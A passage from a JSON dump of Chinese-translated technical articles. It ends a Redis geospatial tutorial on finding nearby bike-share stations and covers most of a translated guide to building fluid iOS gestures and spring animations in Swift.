ID，但是该文件中的一些标识符与提要中的标识符不匹配，因此我总是从反馈中获取标识符。**）系统的详细信息，比如共享单车 URL、电话号码和电子邮件。可以添加到应用程序的未来版本中。 因此使用键 `${system_id}:system_info` 将数据存储在 Redis 散列中。\n\n## 加载站点数据\n\n站点信息提供系统中每个站点的数据，包括系统的位置。`load_station_data` 应用程序迭代站点反馈中的每个站点，使用形如 `${system_id}:station:${station_id}` 的键将每个站点的数据存到 Redis 散列中。使用 `GEOADD` 命令将每个站点的位置添加到共享单车的地理空间索引中。\n\n## 更新数据\n\n在随后的运行中，我不希望代码从 Redis 中删除所有数据流数据再将其重新加载到一个空的 Redis 数据库中，因此我仔细考虑了如何处理数据的本地更新。\n\n代码首先载入已经被系统加载到内存中的所有共享单车站点信息的数据集。当为站点加载信息时，从站点的内存集中删除站点(按键)。一旦加载了所有站点数据，我们就会得到一个包含了该系统必须删除的所有站点的数据集合。\n\n应用程序迭代这组站点并创建一个事务来删除站点信息，从地理空间索引中删除站点键，并从系统的站点列表中删除站点。\n\n## 代码注释\n\n在[示例代码](https://gist.github.com/tague/5a82d96bcb09ce2a79943ad4c87f6e15)中有一些有趣的事情需要注意。首先，使用 `GEOADD` 命令将词条添加到地理空间索引中，但是用 `ZREM` 命令删除。由于地理空间类型底层实现使用排序集，因此使用 `ZREM` 删除词条。请注意，为了简洁，示例代码演示了如何使用单个 Redis 节点；如果在集群环境中运行，需要对事务模块进行重构。\n\n如果您使用的是 Redis 4.0 （或者更高版本），则在代码中有一些 `DELETE` 和 `HMSET` 命令的替代方法。Redis 4.0 提供[`UNLINK`](https://redis.io/commands/unlink) 命令作为 `DELETE` 命令的异步替代。`UNLINK` 将从密钥空间中删除密钥，但它在单独的线程中回收内存。[`HMSET`](https://redis.io/commands/hmset) 命令在 [Redis 4.0 中被弃用，`HSET` 命令现在是可变的](https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES)（也就是说，它接受数目不定的参数）。\n\n## 通知客户端\n\n在流程结束时，将根据我们的数据向客户端发送通知。使用 Redis pub/sub 机制，通知通过 `geobike：Station_Changed` 通道发送，并带有系统的 ID。\n\n## 数据模型\n\n在用 Redis 构造数据时，要考虑的最重要的事情是如何查询信息，共享单车应用程序需要支持的两个主要查询是：\n\n*   找到附近站点\n*   显示站点相关信息\n\nRedis 提供两种用于存储数据的主要数据类型：散列和排序集。[散列类型](https://redis.io/topics/data-types#Hashes) 很好地映射到表示站点的 JSON 对象；由于 Redis 散列不强制执行模式，因此可以使用它们存储可变站点信息。\n\n当然，在地理上寻找站点需要一个地理空间索引来搜索相对于某些坐标的地点。Redis 提供[一些命令](https://redis.io/commands#geo)来使用[排序集](https://redis.io/topics/data-types-intro#redis-sorted-sets)数据结构构建地理控件索引。\n\n我们使用 `${System_id}：Station：${Station_id}` 格式的散列构造密钥，其中包含站点和密钥的信息，使用的 `${System_id}：Station：Location` 格式来查询站点的地理空间索引。\n\n## 获取用户位置\n\n构建应用程序的下一步是确定用户的当前位置。大多数应用程序通过操作系统提供的内置服务来实现这一点。该操作系统可以为应用程序提供基于内置于设备中的 GPS 硬件或近似于设备的可用 WiFi 网络的位置。\n\n## 查询位置\n\n在找到用户的位置后，下一步是定位附近的共享单车站点。Redis 的地理空间功能可以在用户当前坐标的给定距离内返回站点的信息。下面是一个使用 Redis 命令行接口的示例。\n\n![Apple 美国纽约店地址](https://opensource.com/sites/default/files/styles/panopoly_image_original/public/u128651/rediscli_map.png?itok=icqk5543 \"Apple 纽约店店址地图\")\n\n想象我在纽约市第五大道上的苹果店，我想去西区 37 街的 Mood，和我的好友 [Swatch](https://twitter.com/swatchthedog) 聊天。我可以乘出租车或地铁，但我宁愿骑自行车。附近有共享站点么？我可以在那里租有一辆车去么？\n\nApple 专卖店位于 40.76384, -73.97297。根据地图，两个自行车站点 —— Grand Army Plaza 和 Central Park South 和 East 58th St. & Madison —— 位于 500 英尺的范围内（在以上地图是蓝色的）。\n\n我可以使用 Redis `GEORADIUS` 命令查询纽约系统索引，查找半径为 500 英尺的站点：\n\n```\n127.0.0.1:6379> GEORADIUS NYC:stations:location -73.97297 40.76384 500 ft\n1) \"NYC:station:3457\"\n2) \"NYC:station:281\"\n```\n\nRedis 使用地理空间索引中的元素作为特定站点的元数据的键，返回在该半径内找到的两个自行车共享位置。下一步是查找这两个站点的名称：\n\n```\n127.0.0.1:6379> hget NYC:station:281 name\n\"Grand Army Plaza & Central Park S\"\n \n127.0.0.1:6379> hget NYC:station:3457 name\n\"E 58 St & Madison Ave\"\n```\n\n这些键对应以上地图确定的站台。如果愿意，我可以在 `GEORADIUS` 命令中添加更多的标志，以获取元素的列表、它们的坐标以及它们与当前站点的距离：\n\n```\n127.0.0.1:6379> GEORADIUS NYC:stations:location -73.97297 40.76384 500 ft WITHDIST WITHCOORD ASC \n1) 1) \"NYC:station:281\"\n   2) \"289.1995\"\n   3) 1) \"-73.97371262311935425\"\n      2) \"40.76439830559216659\"\n2) 1) \"NYC:station:3457\"\n   2) \"383.1782\"\n   3) 1) \"-73.97209256887435913\"\n      2) \"40.76302702144496237\"\n```\n\n查找与这些键相关联的名称会生成一个有序的站点列表，我可以从中进行选择。Redis 不提供方向或路由功能，因此我使用设备操作系统的路由功能来绘制从当前位置到所选自行车站点的路线。\n\n`GEORADIUS` 函数可以轻易在您喜欢的开发框架的 API 中实现，以便将位置功能添加到 app 中。 \n\n## 其他查询命令\n\n除了 `GEORADIUS` 命令以外，Redis 还提供了三个用于从索引中查找数据的命令 `GEOPOS`、`GEODIST` 和 `GEORADIUSBYMEMBER`。\n\n `GEOPOS` 命令可以从地理散列中提供给定元素的坐标。例如，如果我知道在 West 38th and 8th 有共享单车站点，而且它的 ID 是 523，那么该站点的元素名称是 NYC:station:523。使用 Redis，我可以找到站点的经度和维度：\n\n```\n127.0.0.1:6379> geopos NYC:stations:location NYC:station:523\n1) 1) \"-73.99138301610946655\"\n   2) \"40.75466497634030105\"\n```\n\n`GEODIST` 命令提供两个元素之间的距离索引。如果我想要找出 Grand Army Plaza 和 Central Park South 和在 East 58th St. & Madison 站点之间的距离, 我会发出以下命令：\n\n```\n127.0.0.1:6379> GEODIST NYC:stations:location NYC:station:281 NYC:station:3457 ft\n\"671.4900\"\n```\n\n最后，`GEORADIUSBYMEMBER` 命令类似于 `GEORADIUS` 命令，但该命令没有接受一组坐标，而是取索引的另一个成员的名称，并返回以该成员为中心所给定半径内的所有成员。要找到 Grand Army Plaza 和 Central Park 南 1000 英尺范围内的所有车站，请输入以下内容：\n\n```\n127.0.0.1:6379> GEORADIUSBYMEMBER NYC:stations:location NYC:station:281 1000 ft WITHDIST\n1) 1) \"NYC:station:281\"\n   2) \"0.0000\"\n2) 1) \"NYC:station:3132\"\n   2) \"793.4223\"\n3) 1) \"NYC:station:2006\"\n   2) \"911.9752\"\n4) 1) \"NYC:station:3136\"\n   2) \"940.3399\"\n5) 1) \"NYC:station:3457\"\n   2) \"671.4900\"\n```\n\n虽然这个示例侧重于使用 Python 和 Redis 来解析数据并构建自行车共享系统位置的索引，但它可以很容易地推广到定位餐馆、公共交通或任何其他类型的地方，以帮助用户查找。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-fluid-interfaces-ios-swift.md",
    "content": "> * 原文地址：[Building Fluid Interfaces: How to create natural gestures and animations on iOS](https://medium.com/@nathangitter/building-fluid-interfaces-ios-swift-9732bb934bf5)\n> * 原文作者：[Nathan Gitter](https://medium.com/@nathangitter?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-fluid-interfaces-ios-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-fluid-interfaces-ios-swift.md)\n> * 译者：[RydenSun](https://juejin.im/user/585b9407da2f6000657a5c0c)\n> * 校对者：[atuooo](https://github.com/atuooo)\n\n# 构建流畅的交互界面\n\n## 如何在 iOS 上创建自然的交互手势及动画\n\n在 WWDC 2018 上，苹果设计师进行了一次题为 [“设计流畅的交互界面”](https://developer.apple.com/videos/play/wwdc2018/803/) 的演讲，解释了 iPhone X 手势交互体系背后的设计理念。\n\n![](https://cdn-images-1.medium.com/max/1600/1*EZJGlfbTCPSEq7Exwjla1Q.png)\n\n苹果 WWDC18 演讲 “设计流畅的交互界面”\n\n这是我最喜欢的 WWDC 分享 —— 我十分推荐它\n\n这次分享提供了一些技术性指导，这对一个设计演讲来说是很特殊的，但它只是一些伪代码，留下了太多的未知。\n\n![](https://cdn-images-1.medium.com/max/1600/1*m_arQ47qnUvIFPNCHRxt7Q.png)\n\n演讲中一些看起来像 Swift 的代码。\n\n如果你想尝试实现这些想法，你可能会发现想法和实现是有差距的。\n\n我的目的就是通过提供每个主要话题的可行的代码例子，来减少差距。\n\n![](https://cdn-images-1.medium.com/max/1600/1*zvcJzQnHtJRrDhvfV9XaYw.gif)\n\n我们会创建 8 个界面。 按钮，弹簧动画，自定义界面和更多！\n\n这是我们今天会讲到的内容概览：\n\n1.  “设计流畅的交互界面”演讲的概要。\n2.  8 个流畅的交互界面，背后的设计理念和构建的代码。\n3.  设计师和开发者的实际应用\n\n### 什么是流畅的交互界面？\n\n一个流畅交互界面也可以被描述为“快”，“顺滑”，“自然”或是“奇妙”。它是一种光滑的，无摩擦的体验，让你只会感觉到它是对的。\n\nWWDC 演讲认为流畅的交互界面是“你思想的延伸”或是“自然世界的延伸”。当一个界面是按照人们的想法做事，而不是按照机器的想法时，他就是流畅的。\n\n### 是什么让它们流畅？\n\n流畅的交互界面是响应式的，可中断的，并且是可重定向的。这是一个 iPhone X 滑动返回首页的手势案例：\n\n![](https://cdn-images-1.medium.com/max/1600/1*XxdPbsgL9qeY4QXr1pztfw.gif)\n\n应用在启动动画中是可以被关闭的。\n\n交互界面即时响应用户的输入，可以在任何进程中停止，甚至可以中途改变动画方向。\n\n### 我们为什么关注流畅的交互界面？\n\n1.  流畅的交互界面提升了用户体验，让用户感觉每一个交互都是快的，轻量和有意义的。\n2.  它们给予用户一种掌控感，这为你的应用与品牌建立了信任感。\n3.  它们很难被构建。一个流畅的交互界面是很难被仿造，这是一个有力的竞争优势。\n\n### 交互界面\n\n这篇文章剩下的部分，我会为你们展示怎样来构建 WWDC 演讲中提到的 8 个主要的界面。\n\n![](https://cdn-images-1.medium.com/max/1600/1*989Lsw_y9JcZsJrAVyxEEQ.png)\n\n图标代表了我们要构建的 8 个交互界面。\n\n![](https://cdn-images-1.medium.com/max/2000/1*slFD9J80nOOOjm9dsn6aGQ.png)\n\n### 交互界面 #1：计算器按钮\n\n这个按钮模仿了 iOS 计算器应用中按钮的表现行为。\n\n![](https://cdn-images-1.medium.com/max/1600/1*h-Y4Y6K8uxu1mZ6NYst4MA.gif)\n\n#### 核心功能\n\n1.  被点击时马上高亮。\n2.  即便处于动画中也可以被立即点击。\n3.  用户可以在按住手势结束时或手指脱离按钮时取消点击。\n4.  用户可以在按住手势结束时，手指脱离按钮和手指重回按钮来确认点击。\n\n#### 设计理念\n\n我们希望按钮感觉是即时响应的，让用户知道它们是有功能的。 另外，我们希望操作是可以被取消的，如果用户在按下按钮时决定撤销操作。这允许用户更快的做决定，因为他们可以在考虑的同时进行操作。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ccdkb04pc02QvnfYJtum8g.png)\n\nWWDC 演讲上的幻灯片，展示了手势是如何与想法同时进行的，以此让操作更迅速。\n\n#### 关键代码\n\n第一步是创建一个按钮，继承自 `UIControl`，不是继承自 `UIButton`。`UIButton` 也可以正常工作，但我们既然要自定义交互，那我们就不需要它的任何功能了。\n\n```\nCalculatorButton: UIControl {\n    public var value: Int = 0 {\n        didSet { label.text = “\\(value)” }\n    }\n    private lazy var label: UILabel = { ... }()\n}\n```\n\n下一步，我们会使用 `UIControlEvents` 来为各种点击交互事件分配响应的功能。\n\n```\naddTarget(self, action: #selector(touchDown), for: [.touchDown, .touchDragEnter])\naddTarget(self, action: #selector(touchUp), for: [.touchUpInside, .touchDragExit, .touchCancel])\n```\n\n我们将 `touchDown` 和 `touchDragEnter` 组合到一个单独的事件，叫做 `touchDown`，并且我们将 `touchUpInside`，`touchDragExit` 和 `touchCancel` 组合一个单独的事件，叫做 `touchUp`。\n\n（查看 [这个文档](https://developer.apple.com/documentation/uikit/uicontrolevents?language=objc) 来获取所有可用的 `UIControlEvents` 的描述。）\n\n这让我们有两个方法来处理动画。\n\n```\nprivate var animator = UIViewPropertyAnimator()\n@objc private func touchDown() {\n    animator.stopAnimation(true)\n    backgroundColor = highlightedColor\n}\n@objc private func touchUp() {\n    animator = UIViewPropertyAnimator(duration: 0.5, curve: .easeOut, animations: {\n        self.backgroundColor = self.normalColor\n    })\n    animator.startAnimation()\n}\n```\n\n在 `touchDown`，我们根据需要取消存在的动画，然后马上将颜色设置成高亮颜色（在这里是浅灰色）。\n\n在 `touchUp`，我们创建了一个新的 animator 并且将动画启动。使用 `UIViewPropertyAnimator`，可以轻松地取消高亮动画。\n\n（幻灯片笔记：这不是严谨的 iOS 计算器应用中按钮的表现，它允许手势从别的按钮移动到这个按钮来启动点击事件。大多数情况下，我在这里创建的按钮就是 iOS 按钮的预期行为）\n\n### 交互界面 #2：弹簧动画\n\n这个交互展示了弹簧动画是如何可以通过指定一个“阻尼”（反弹）和“响应”（速度）来创建的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*S0s0LiggTJm1U44lC4kcfg.gif)\n\n#### 核心功能\n\n1.  使用“对设计友好”的参数。\n2.  对动画持续时间无概念。\n3.  可轻易中断。\n\n#### 设计理念\n\n弹簧是一个很好的动画模型，因为它的速度和自然的外观表现。一个弹簧动画可以及其迅速的开始，用其大多数的时间来慢慢接近最终状态。 这对创建一个响应式的交互界面来说是完美的。\n\n设计弹簧动画时的几个额外的提醒：\n\n1. 弹簧动画不需要有弹性。使用数值为 1 的阻尼会构建一个动画，它慢慢的向剩下部分靠近，但没有任何反弹。大多数动画应该使用值为 1 的阻尼。\n2. 尝试着避免考虑时长。理论上，一个弹簧动画从来不会完全靠近其余的部分，如果强加上时长限制，会造成动画的不自然。相反，要不断调整阻尼和响应值，直到它感觉对。\n3. 可中断性是很关键的。因为弹簧动画消耗了它们绝大部分的时间来接近最终值，用户可能会认为动画已经完成并且会尝试再与它交互。\n\n#### 关键代码\n\n在 UIKit 中，我们可以用 `UIViewPropertyAnimator` 和一个  `UISpringTimingParameters` 对象来构建一个弹簧动画。不幸的是，它没有一个只接受“阻尼”和“响应”的初始化构造器。我们能得到的最接近的初始化构造器是 `UISpringTimingParameters`，它需要质量，硬度，阻尼和初始加速度这几个参数。\n\n```\nUISpringTimingParameters(mass: CGFloat, stiffness: CGFloat, damping: CGFloat, initialVelocity: CGVector)\n```\n\n我们希望创建一个简便的初始化构造器，只使用阻尼和响应这两个参数，并且将它们映射至需要的质量，硬度和阻尼。\n\n使用一点物理知识，我们可以导出我们需要的公示：\n\n![](https://cdn-images-1.medium.com/max/1600/1*G_83X45IJ6J8Cedkvue_WA.png)\n\n弹簧动画的常量和阻尼系数的解决方案。\n\n有了这个结果，我们正好可以使用我们想要的参数来创建我们自己的 `UISpringTimingParameters`。\n\n```\nextension UISpringTimingParameters {\n    convenience init(damping: CGFloat, response: CGFloat, initialVelocity: CGVector = .zero) {\n        let stiffness = pow(2 * .pi / response, 2)\n        let damp = 4 * .pi * damping / response\n        self.init(mass: 1, stiffness: stiffness, damping: damp, initialVelocity: initialVelocity)\n    }\n}\n```\n\n这就是我们如何可以指定弹簧动画到所有其他的交互界面。\n\n#### 弹簧动画背后的物理学\n\n想深入研究弹簧动画？看看 Christian Schnorr 发的这篇极好的文章：[Demystifying UIKit Spring Animations](https://medium.com/ios-os-x-development/demystifying-uikit-spring-animations-2bb868446773)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*NPFOJlbdIyjPXLYU4nJxUQ.png)\n\n读了他的文章之后，我最终理解了弹簧动画。对 Christian 大大的致敬，因为它帮助我理解了这些动画背后的数学理论，而且教我如何解二阶微分方程。\n\n### 交互界面 #3：手电筒按钮\n\n又是一个按钮，但又不同的表现形式。它模仿了 iPhone X 锁屏上的手电筒按钮。\n\n![](https://cdn-images-1.medium.com/max/1600/1*nrzZVlSrZ7hhrxRe_Sl_bA.gif)\n\n#### 核心功能\n\n1.  需要一个使用 3D Touch 的强力手势。\n2.  对手势有反弹提示。\n3.  对确认启动有震动反馈。\n\n#### 设计理念\n\n苹果希望创建一个按钮，它可以轻易地并且快速地被接触到，但是并不会被不小心触发。需要强压来启动手电筒是一个很棒的选择，但是缺少了功能的可见性和反馈性。\n\n为了解决这个问题，这个按钮是有弹性的，并且会随着用户按压的力度来变大。除此之外，有两个单独的触觉震动反馈：一个是在达到要求的力度按压时，另一个是按压结束按钮被触发时。这些触觉模拟了物理按钮的表现形式。\n\n#### 关键代码\n\n为了衡量按压按钮的力度，我们可以使用 touch 事件提供的 `UITouch` 对象。\n\n```\noverride func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?) {\n    super.touchesMoved(touches, with: event)\n    guard let touch = touches.first else { return }\n    let force = touch.force / touch.maximumPossibleForce\n    let scale = 1 + (maxWidth / minWidth - 1) * force\n    transform = CGAffineTransform(scaleX: scale, y: scale)\n}\n```\n\n我们基于用户按压力度计算了缩放比例，这样可以让按钮随着用户按压力度变大。\n\n既然按钮可以被按压但不会启动，我们需要持续追踪按钮的实时状态。\n\n```\nenum ForceState {\n    case reset, activated, confirmed\n}\n\nprivate let resetForce: CGFloat = 0.4\nprivate let activationForce: CGFloat = 0.5\nprivate let confirmationForce: CGFloat = 0.49\n```\n\n通过将确认压力设置到稍小于启动压力，防止用户通过快速的超过压力阈值来频繁的启动和取消启动按钮。\n\n对于触觉反馈，我们可以使用 `UIKit` 的反馈生成器。\n\n```\nprivate let activationFeedbackGenerator = UIImpactFeedbackGenerator(style: .light)\n\nprivate let confirmationFeedbackGenerator = UIImpactFeedbackGenerator(style: .medium)\n```\n\n最后，对于反弹动画，我们可以使用 `UIViewPropertyAnimator` 并且配合我们前面构建的 `UISpringTimingParameters` 初始化构造器。\n\n```\nlet params = UISpringTimingParameters(damping: 0.4, response: 0.2)\nlet animator = UIViewPropertyAnimator(duration: 0, timingParameters: params)\nanimator.addAnimations {\n    self.transform = CGAffineTransform(scaleX: 1, y: 1)\n    self.backgroundColor = self.isOn ? self.onColor : self.offColor\n}\nanimator.startAnimation()\n```\n\n### 交互界面 #4：橡皮筋动画\n\n橡皮筋动画发生在视图抗拒移动时。一个例子就是当滚动视图滑到最底部时。\n\n![](https://cdn-images-1.medium.com/max/1600/1*y0jRo2TeJ9VtCZPmQxyRLw.gif)\n\n#### 核心功能\n\n1.  交互界面永远是可响应的，即使当操作是无效的。\n2.  不同步的触摸追踪，代表了边界。\n3.  随着远离边界，移动距离变小。\n\n#### 设计理念\n\n橡皮筋动画是一种很好的方式来沟通无效的操作，它仍然会给用户一种掌控感。它温柔的告诉你这是一个边界，将它们拉回到有效的状态。\n\n#### 关键代码\n\n幸运的是，橡皮筋动画实现起来很直接。\n\n```\noffset = pow(offset, 0.7)\n```\n\n通过使用 0 到 1 之间的一个指数，视图会随着远离原始位置，移动越来越少。要移动的少就用一个大的指数，移动的多就使用一个小的指数。\n\n再详细一点，这段代码一般是在触摸移动时，在 `UIPanGestureRecognizer` 回调中实现的。\n\n```\nvar offset = touchPoint.y - originalTouchPoint.y  \noffset = offset > 0 ? pow(offset, 0.7) : -pow(-offset, 0.7)  \nview.transform = CGAffineTransform(translationX: 0, y: offset)\n```\n\n注意:这并不是苹果如何使用像 scroll view 这些元素来实现橡皮筋动画。我喜欢这个方法，是因为它简单，但对不同的表现，还有很多更复杂的方法。\n\n### 交互界面 #5：加速中止\n\n为了看 iPhone X 上的应用切换，用户需要从屏幕底部向上滑，并且在中途停止。这个交互界面就是为了创建这个表现形式。\n\n![](https://cdn-images-1.medium.com/max/1600/1*GMqctAhbjqpmWmAtsKVeDg.gif)\n\n#### 核心功能\n\n1.  中止是基于手势加速度来计算的。\n2.  越快的停止导致越快的响应。\n3.  没有计时器。\n\n#### 设计理念\n\n流畅的交互界面应该是快速的。计时器产生的延迟，即便很短，也会让界面感到卡顿。\n\n这个交互十分酷，因为它的反应时间是根据用户手势运动的。如果他们很快停止，界面会很快响应。如果他们慢慢停止，界面就慢慢响应。\n\n#### 关键代码\n\n为了衡量加速度，我们可以追踪最新的拖拽手势的速度值。\n\n```\nprivate var velocities = [CGFloat]()\nprivate func track(velocity: CGFloat) {\n    if velocities.count < numberOfVelocities {\n        velocities.append(velocity)\n    } else {\n        velocities = Array(velocities.dropFirst())\n        velocities.append(velocity)\n    }\n}\n```\n\n这段代码更新了 `velocities` 数组，这样可以一直持有最新的 7 个速度值，这些可以被用来计算加速度值。\n\n为了判断加速度是否足够大，我们可以计算数组中第一个速度值和目前速度值的差。\n\n```\nif abs(velocity) > 100 || abs(offset) < 50 { return }\nlet ratio = abs(firstRecordedVelocity - velocity) / abs(firstRecordedVelocity)\nif ratio > 0.9 {\n    pauseLabel.alpha = 1\n    feedbackGenerator.impactOccurred()\n    hasPaused = true\n}\n```\n\n我们也要确保手势移动有一个最小位移和速度。如果手势已经慢下来超过 90%，我们会考虑将它停止。\n\n我的实现并不完美。在我的测试里，它看起来工作的不错，但还有机会深入探索加速度的计算方法。\n\n### 交互界面 #6：奖励有自我动量的动画一些反弹效果\n\n一个抽屉动画，有打开和关闭状态，他们会根据手势的速度有一些反弹。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Wwh583M_4qLWg8Pb16mNeA.gif)\n\n#### 核心功能\n\n1.  点击抽屉动画，没有反弹。\n2.  轻弹出抽屉，有反弹。\n3.  可交互，可中断并且可逆。\n\n#### 设计理念\n\n抽屉动画展示了这个交互界面的理念。当用户有一定速度的滑动某个视图，将动画附带一些反弹会更令人满意。这样交互界面感觉像活得，也更有趣。\n\n当抽屉被点击时，它的动画是没有反弹的，这感觉起来是对的，因为点击时没有任何明确方向动量的。\n\n当设计自定义的交互界面时，要谨记界面对于不同的交互是有不同的动画的。\n\n#### 关键代码\n\n为了简化点击与拖拽手势的逻辑，我们可以使用一个自定义的手势识别器的子类，在点击的一瞬间进入 `began` 状态。\n\n```\nclass InstantPanGestureRecognizer: UIPanGestureRecognizer {\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent) {\n        super.touchesBegan(touches, with: event)\n        self.state = .began\n    }\n}\n```\n\n这可以让用户在抽屉运动时，点击抽屉来停止它，这就像点击一个正在滚动的滚动视图。为了处理这些点击，我们可以检查当手势停止时，速度是否为 0 并继续动画。\n\n```\nif yVelocity == 0 {\n    animator.continueAnimation(withTimingParameters: nil, durationFactor: 0)\n}\n```\n\n为了处理带有速度的手势，我们首先需要计算它相对于剩下的总距离的速度。\n\n```\nlet fractionRemaining = 1 - animator.fractionComplete\nlet distanceRemaining = fractionRemaining * closedTransform.ty\nif distanceRemaining == 0 {\n    animator.continueAnimation(withTimingParameters: nil, durationFactor: 0)\n    break\n}\nlet relativeVelocity = abs(yVelocity) / distanceRemaining\n```\n\n当我们可以使用这个相对速度时，配合计时变量来继续这个包含一点反弹的动画。\n\n```\nlet timingParameters = UISpringTimingParameters(damping: 0.8, response: 0.3, initialVelocity: CGVector(dx: relativeVelocity, dy: relativeVelocity))\n\nlet newDuration = UIViewPropertyAnimator(duration: 0, timingParameters: timingParameters).duration\n\nlet durationFactor = CGFloat(newDuration / animator.duration)\n\nanimator.continueAnimation(withTimingParameters: timingParameters, durationFactor: durationFactor)\n```\n\n这里我们创建有一个新的 `UIViewPropertyAnimator` 来计算动画需要的时间，这样我们可以在继续动画时提供正确的 `durationFactor`。\n\n关于动画的回转，会更复杂，我这里就不介绍了。如果你想知道的哦更多，我写了一个关于这部分的完整的教程：[构建更好的 iOS APP 动画](http://www.swiftkickmobile.com/building-better-app-animations-swift-uiviewpropertyanimator/)。\n\n### 交互动画 #7: FaceTime PiP\n\n重新创造 iOS FaceTime 应用中的 picture-in-picture（下文中简称 Pip）UI。\n\n![](https://cdn-images-1.medium.com/max/1600/1*zHlr_QAPv7YpEF5wb6YZAQ.gif)\n\n#### 核心功能\n\n1.  轻量，轻快的交互\n2.  投影位置是基于 `UIScrollView` 的减速速率。\n3.  有遵循手势最初速度的持续动画。\n\n#### 关键代码\n\n我们最终的目的是写一些这样的代码。\n\n```\nlet params = UISpringTimingParameters(damping: 1, response: 0.4, initialVelocity: relativeInitialVelocity)\n\nlet animator = UIViewPropertyAnimator(duration: 0, timingParameters: params)\n\nanimator.addAnimations {\n    self.pipView.center = nearestCornerPosition\n}\n\nanimator.startAnimation()\n```\n\n我们希望创建一个带有初始速度的动画，并且与拖拽手势的速度相匹配。并且进行 pip 动画到最近的角落。\n\n首先，我们需要计算初始速度。\n\n为了能做到这个，我们需要计算基于目前速度，目前为止和目标为止的相对速度。\n\n```\nlet relativeInitialVelocity = CGVector(\n    dx: relativeVelocity(forVelocity: velocity.x, from: pipView.center.x, to: nearestCornerPosition.x),\n    dy: relativeVelocity(forVelocity: velocity.y, from: pipView.center.y, to: nearestCornerPosition.y)\n)\n\nfunc relativeVelocity(forVelocity velocity: CGFloat, from currentValue: CGFloat, to targetValue: CGFloat) -> CGFloat {\n    guard currentValue - targetValue != 0 else { return 0 }\n    return velocity / (targetValue - currentValue)\n}\n```\n\n我们可以将速度分解为 x 和 y 两部分，并且决定它们各自的相对速度。\n\n下一步，我们为 PiP 动画计算各个角落。\n\n为了让我们的交互界面感觉自然并且轻量，我们要基于它现在的移动来投影 PiP 的最终位置。如果 PiP 可以滑动并且停止，它最终停在哪里？\n\n```\nlet decelerationRate = UIScrollView.DecelerationRate.normal.rawValue\nlet velocity = recognizer.velocity(in: view)\nlet projectedPosition = CGPoint(\n    x: pipView.center.x + project(initialVelocity: velocity.x, decelerationRate: decelerationRate),\n    y: pipView.center.y + project(initialVelocity: velocity.y, decelerationRate: decelerationRate)\n)\nlet nearestCornerPosition = nearestCorner(to: projectedPosition)\n```\n\n我们可以使用 `UIScrollView` 的减速速率来计算剩下的位置。这很重要，因为它与用户滑动的肌肉记忆相关。如果一个用户知道一个视图需要滚动多远，他们可以使用之前的知识直觉地猜测 PiP 到最终目标需要多大力。\n\n这个减速速率也是很宽泛的，让交互感到轻量——只需要一个小小的推动就可以送 PiP 飞到屏幕的另一端。\n\n我们可以使用“设计流畅的交互界面”演讲中的投影方法来计算最终的投影位置。\n\n```\n/// Distance traveled after decelerating to zero velocity at a constant rate.\nfunc project(initialVelocity: CGFloat, decelerationRate: CGFloat) -> CGFloat {\n    return (initialVelocity / 1000) * decelerationRate / (1 - decelerationRate)\n}\n```\n\n最后缺失的一块就是基于投影位置找到最近的角落的逻辑。我们可以循环所有角落的位置并且找到一个和投影位置距离最小的角落。\n\n```\nfunc nearestCorner(to point: CGPoint) -> CGPoint {\n    var minDistance = CGFloat.greatestFiniteMagnitude\n    var closestPosition = CGPoint.zero\n    for position in pipPositions {\n        let distance = point.distance(to: position)\n        if distance < minDistance {\n            closestPosition = position\n            minDistance = distance\n        }\n    }\n    return closestPosition\n}\n```\n\n总结最终的实现：我们使用了 `UIScrollView` 的减速速率来投影 pip 的运动到它最终的位置，并且计算了相对速度传入了 `UISpringTimingParameters`。\n\n### 交互界面 #8: 旋转\n\n将 PiP 的原理应用到一个旋转动画。\n\n![](https://cdn-images-1.medium.com/max/1600/1*jL07YlwI-5skQGkc4W8OeQ.gif)\n\n#### 核心功能\n\n1.  使用投影来遵循手势的速度。\n2.  永远停在一个有效的方向。\n\n#### 关键代码\n\n这里的代码和前面的 PiP 很像。 我们会使用同样的构造回调，除了将 `nearestCorner` 方法换成 `closestAngle`。\n\n```\nfunc project(...) { ... }\n\nfunc relativeVelocity(...) { ... }\n\nfunc closestAngle(...) { ... }\n```\n\n当最终是时候创建一个 `UISpringTimingParameters`，针对初始速度，我们是需要使用一个 `CGVector`，即使我们的旋转只有一个维度。任何情况下，如果动画属性只有一个维度，将 `dx` 值设为期望的速度，将 `dy` 值设为 0。\n\n```\nlet timingParameters = UISpringTimingParameters(  \n    damping: 0.8,  \n    response: 0.4,  \n    initialVelocity: CGVector(dx: relativeInitialVelocity, dy: 0)  \n)\n```\n\n在内部，动画会忽略 `dy` 的值而使用 `dx` 的值来创建时间曲线。\n\n### 自己试一试！\n\n这些交互在真机上更有趣。要自己玩一下这些交互的，这个是 demo 应用，可以在 [GitHub](https://github.com/nathangitter/fluid-interfaces) 上获取到。\n\n![](https://cdn-images-1.medium.com/max/2000/1*7gS4SLe571r7RZvpps3X9A.png)\n\n流畅的交互界面 demo 应用，可以在 GitHub 上获取！\n\n### 实际应用\n\n#### 对于设计师\n\n1.  把交互界面考虑成流程的表达中介，而不是一些固定元素的组合。\n2.  在设计流程早期就考虑动画和手势。Sketch 这些排版工具是很好用的，但是并不会像设备一样提供完整的表现。\n3.  